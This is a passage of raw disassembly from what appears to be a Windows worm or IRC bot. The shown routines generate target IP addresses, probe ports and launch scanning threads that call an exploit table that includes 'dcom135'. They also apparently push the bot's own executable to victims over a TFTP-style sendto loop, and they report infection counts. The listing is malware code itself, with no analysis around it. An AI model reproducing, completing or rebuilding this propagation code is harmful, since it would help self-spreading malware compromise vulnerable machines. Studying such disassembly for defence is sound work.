		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_416FB6
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_406EF4
		cmp	[ebp+var_D7], 1
		jnz	loc_406E46
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4177B0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4177B0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418AA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406E00
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4177B0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418AA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406E00
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418A0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418786
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43EB88	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_429C50

loc_406DB4:				; CODE XREF: sub_406A71+47Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_416FB6
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406DEE
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D476
		add	esp, 14h

loc_406DEE:				; CODE XREF: sub_406A71+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BD8D
		pop	ecx
		jmp	loc_406F0A
; ---------------------------------------------------------------------------

loc_406E00:				; CODE XREF: sub_406A71+2B6j
					; sub_406A71+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_429C38
		push	edi
		call	dword_43EB88	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset dword_429BFC
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BD8D
		add	esp, 14h
		jmp	loc_406F0A
; ---------------------------------------------------------------------------

loc_406E46:				; CODE XREF: sub_406A71+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_406EF4
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_406E7D
		inc	al
		xor	cl, cl
		mov	[ebp+var_57D], bl
		jmp	short loc_406E85
; ---------------------------------------------------------------------------

loc_406E7D:				; CODE XREF: sub_406A71+3FEj
		inc	cl
		mov	[ebp+var_57D], cl

loc_406E85:				; CODE XREF: sub_406A71+40Aj
		mov	[ebp+var_57E], al
		push	ebx
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418A0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418786
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43EB88	; sendto
		cmp	edi, ebx
		jnz	short loc_406F0A
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_429BA0
		jmp	loc_406DB4
; ---------------------------------------------------------------------------

loc_406EF4:				; CODE XREF: sub_406A71+268j
					; sub_406A71+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_429B90
		push	edi
		call	dword_43EB88	; sendto

loc_406F0A:				; CODE XREF: sub_406A71+204j
					; sub_406A71+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406C1C

loc_406F16:				; CODE XREF: sub_406A71+1B4j
		push	edi
		call	dword_43EBBC	; closesocket
		push	[ebp+var_8]
		call	sub_417600
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_406F4A
		push	[ebp+var_170]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_406F4A:				; CODE XREF: sub_406A71+4C4j
		push	3E8h
		call	dword_423064	; Sleep
		push	esi

loc_406F56:				; CODE XREF: sub_406A71+123j
		call	sub_406A71
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406F62	proc near		; CODE XREF: sub_40EC43+5D10p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_42A1E8
		push	eax
		xor	ebx, ebx
		call	sub_416FB6
		cmp	dword_429D60, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_406FD0
		push	esi
		mov	esi, offset dword_429D68

loc_406F95:				; CODE XREF: sub_406F62+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418AE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_406F95
		pop	esi

loc_406FD0:				; CODE XREF: sub_406F62+2Bj
		push	dword_4890F8
		call	sub_40B54D
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418AE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BD8D
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_406F62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40702C	proc near		; CODE XREF: sub_40EC43+5662p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jle	short loc_407068
		mov	eax, [ebp+arg_C]
		push	dword_43BD10[eax*8]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_42A264
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	short loc_40707B
; ---------------------------------------------------------------------------

loc_407068:				; CODE XREF: sub_40702C+13j
		lea	eax, [ebp+var_200]
		push	offset dword_42A228
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_40707B:				; CODE XREF: sub_40702C+3Aj
					; DATA XREF: .data:00427334o ...
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BD8D
		add	esp, 18h
		leave
		retn
sub_40702C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070A3	proc near		; CODE XREF: sub_4077CC+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_407421
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_429D6C[eax], ebx
		jz	loc_407314
		push	4
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jnz	loc_407421
		mov	eax, dword_42E904
		push	edi
		mov	edi, offset dword_43CCCC
		push	104h
		push	edi
		push	ebx
		mov	dword_43CEDC, eax
		mov	dword_43CED8, ebx
		call	dword_423094	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_43CDD0
		push	offset byte_42E9B8
		push	esi
		call	sub_418910
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43CCC8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43CF60, eax
		jnz	short loc_407153
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43CEE0
		call	sub_418910
		mov	dword_43CF64, 1
		jmp	short loc_40716A
; ---------------------------------------------------------------------------

loc_407153:				; CODE XREF: sub_4070A3+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43CEE0
		call	sub_418910
		mov	dword_43CF64, ebx

loc_40716A:				; CODE XREF: sub_4070A3+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_43CEDC
		push	offset dword_42A440
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	dword_43CED4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43CCC8
		push	offset sub_406A71
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, dword_43CED4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	loc_407269
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42A3F0
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_4071E9:				; CODE XREF: sub_4070A3+1CEj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BD8D
		mov	edi, offset dword_43D324
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43D530, ebx
		call	dword_423094	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_43D428
		push	offset byte_42E9B8
		push	esi
		call	sub_418910
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43D320, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43D5B8, eax
		jnz	short loc_407276
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43D538
		call	sub_418910
		mov	dword_43D5BC, 1
		jmp	short loc_40728D
; ---------------------------------------------------------------------------

loc_407261:				; CODE XREF: sub_4070A3+1CCj
		push	32h
		call	dword_423064	; Sleep

loc_407269:				; CODE XREF: sub_4070A3+125j
		cmp	dword_43CF68, ebx
		jz	short loc_407261
		jmp	loc_4071E9
; ---------------------------------------------------------------------------

loc_407276:				; CODE XREF: sub_4070A3+1A2j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43D538
		call	sub_418910
		mov	dword_43D5BC, ebx

loc_40728D:				; CODE XREF: sub_4070A3+1BCj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_43D534
		push	offset unk_42A398
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	dword_43D52C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43D320
		push	offset sub_405285
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, dword_43D52C
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_407307
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A348
		jmp	loc_407405
; ---------------------------------------------------------------------------

loc_4072FF:				; CODE XREF: sub_4070A3+26Aj
		push	32h
		call	dword_423064	; Sleep

loc_407307:				; CODE XREF: sub_4070A3+249j
		cmp	dword_43D5C0, ebx
		jz	short loc_4072FF
		jmp	loc_407414
; ---------------------------------------------------------------------------

loc_407314:				; CODE XREF: sub_4070A3+25j
		cmp	dword_429D70[eax], ebx
		jz	loc_407421
		push	3
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jnz	loc_407421
		mov	esi, offset dword_43D1FC
		push	104h
		push	esi
		push	ebx
		call	dword_423094	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_418C10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407352
		mov	[eax], bl

loc_407352:				; CODE XREF: sub_4070A3+2ABj
		mov	eax, dword_42E908
		mov	dword_43D314, ebx
		mov	dword_43D300, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43CF74
		call	sub_416FB6
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43CF70, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43D300
		mov	dword_43D30C, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43D310, ecx
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42A2F0
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	dword_43D308, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43CF70
		push	offset sub_405983
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, dword_43D308
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_40742D
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A2A0

loc_407405:				; CODE XREF: sub_4070A3+257j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_407414:				; CODE XREF: sub_4070A3+26Cj
					; sub_4070A3+392j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BD8D
		pop	ecx

loc_407421:				; CODE XREF: sub_4070A3+14j
					; sub_4070A3+35j ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_407425:				; CODE XREF: sub_4070A3+390j
		push	32h
		call	dword_423064	; Sleep

loc_40742D:				; CODE XREF: sub_4070A3+354j
		cmp	dword_43D31C, ebx
		jz	short loc_407425
		jmp	short loc_407414
sub_4070A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407437	proc near		; CODE XREF: sub_4075B8:loc_40761Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43BD10h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417090
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43EA58	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43EB20	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417090
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_407437	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40747F	proc near		; CODE XREF: sub_4075B8+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_4177B0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_4074A7
		xor	eax, eax
		jmp	short loc_407518
; ---------------------------------------------------------------------------

loc_4074A7:				; CODE XREF: sub_40747F+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418752
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4074D4
		call	sub_417012
		mov	[ebp+var_C], eax

loc_4074D4:				; CODE XREF: sub_40747F+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4074E1
		call	sub_417012
		mov	[ebp+var_8], eax

loc_4074E1:				; CODE XREF: sub_40747F+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4074EE
		call	sub_417012
		mov	[ebp+var_4], eax

loc_4074EE:				; CODE XREF: sub_40747F+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4074FA
		call	sub_417012

loc_4074FA:				; CODE XREF: sub_40747F+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43BD10[ecx*8], eax

loc_407518:				; CODE XREF: sub_40747F+26j
		pop	esi
		leave
		retn
sub_40747F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40751B	proc near		; CODE XREF: sub_4075B8+A9p
					; sub_40D2C2+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43EBA4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407544
		xor	eax, eax
		jmp	short loc_4075B3
; ---------------------------------------------------------------------------

loc_407544:				; CODE XREF: sub_40751B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43EB24	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43EBC0	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43EACC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43EB0C	; select
		push	esi
		mov	edi, eax
		call	dword_43EBBC	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_4075B3:				; CODE XREF: sub_40751B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40751B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075B8	proc near		; DATA XREF: sub_4077CC+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_4077A9
; ---------------------------------------------------------------------------

loc_407604:				; CODE XREF: sub_4075B8+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40761A
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40747F
		pop	ecx
		jmp	short loc_40761F
; ---------------------------------------------------------------------------

loc_40761A:				; CODE XREF: sub_4075B8+51j
		call	sub_407437

loc_40761F:				; CODE XREF: sub_4075B8+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_44456C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset dword_42A4F0
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_444368[ebx]
		push	eax
		call	sub_416FB6
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40751B
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40779E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4076F3
		push	offset dword_43CCB0
		call	dword_4230C8	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset dword_42A4A8
		push	eax
		call	sub_416FB6
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4076D5
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4076C9
		lea	eax, [ebp+var_140]

loc_4076C9:				; CODE XREF: sub_4075B8+109j
		push	eax
		push	[ebp+var_40]
		call	sub_40D476
		add	esp, 14h

loc_4076D5:				; CODE XREF: sub_4075B8+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BD8D
		mov	[esp+2A8h+var_2A8], offset dword_43CCB0
		call	dword_4230C4	; RtlLeaveCriticalSection
		jmp	loc_40779E
; ---------------------------------------------------------------------------

loc_4076F3:				; CODE XREF: sub_4075B8+BEj
		push	edi
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416FB6
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_416FB6
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_407737
		lea	eax, [ebp+var_140]

loc_407737:				; CODE XREF: sub_4075B8+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_416FB6
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_429D64[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40779E:				; CODE XREF: sub_4075B8+B4j
					; sub_4075B8+136j
		push	7D0h
		call	dword_423064	; Sleep

loc_4077A9:				; CODE XREF: sub_4075B8+47j
		mov	eax, dword_44456C[ebx]
		cmp	dword_43BD14[eax*8], 0
		jnz	loc_407604
		push	esi
		call	sub_416D90
		pop	ecx
		push	0
		call	dword_423054	; ExitThread
sub_4075B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077CC	proc near		; DATA XREF: sub_40EC43+32C6o
					; sub_40EC43+50E9o

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43EB64	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43BD10[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4070A3
		push	8
		call	sub_416CBC
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40789A
		mov	esi, offset dword_43CCB0
		push	esi
		call	dword_4230D0	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4230CC	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40789A
		lea	eax, [ebp+var_1CC]
		push	offset dword_42A648
		push	eax
		call	sub_416FB6
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407884
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D476
		add	esp, 14h

loc_407884:				; CODE XREF: sub_4077CC+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BD8D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40789A:				; CODE XREF: sub_4077CC+63j
					; sub_4077CC+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_423064
		mov	edi, ebx
		mov	dword_43BD14[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40795C

loc_4078B8:				; CODE XREF: sub_4077CC+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42A600
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416A7A
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_44456C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_4075B8
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_407973
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_42A5A8
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BD8D
		add	esp, 10h

loc_40794E:				; CODE XREF: sub_4077CC+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_4078B8

loc_40795C:				; CODE XREF: sub_4077CC+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_407981
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
